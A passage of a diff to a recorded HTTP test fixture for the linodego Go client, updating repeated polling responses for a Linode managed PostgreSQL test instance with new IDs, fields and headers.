false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -15926,16 +18734,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:36:58 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -15951,7 +18762,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -15967,18 +18778,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -15991,16 +18802,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:37:13 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -16016,7 +18830,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -16032,18 +18846,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -16056,16 +18870,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:37:28 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -16081,7 +18898,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -16097,18 +18914,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -16121,16 +18938,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:37:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -16146,7 +18966,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -16162,18 +18982,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -16186,16 +19006,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:37:58 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -16211,7 +19034,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -16227,18 +19050,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -16251,16 +19074,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:38:13 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -16276,7 +19102,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -16292,18 +19118,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -16316,16 +19142,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:38:28 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -16341,7 +19170,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -16357,18 +19186,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -16381,16 +19210,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:38:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -16406,7 +19238,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -16422,18 +19254,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -16446,16 +19278,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:38:58 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -16471,7 +19306,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -16487,18 +19322,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -16511,16 +19346,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:39:13 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -16536,7 +19374,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -16552,18 +19390,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -16576,16 +19414,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:39:28 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -16601,7 +19442,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -16617,18 +19458,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -16641,16 +19482,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:39:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -16666,7 +19510,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -16682,18 +19526,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -16706,16 +19550,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:39:58 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -16731,7 +19578,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -16747,18 +19594,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": 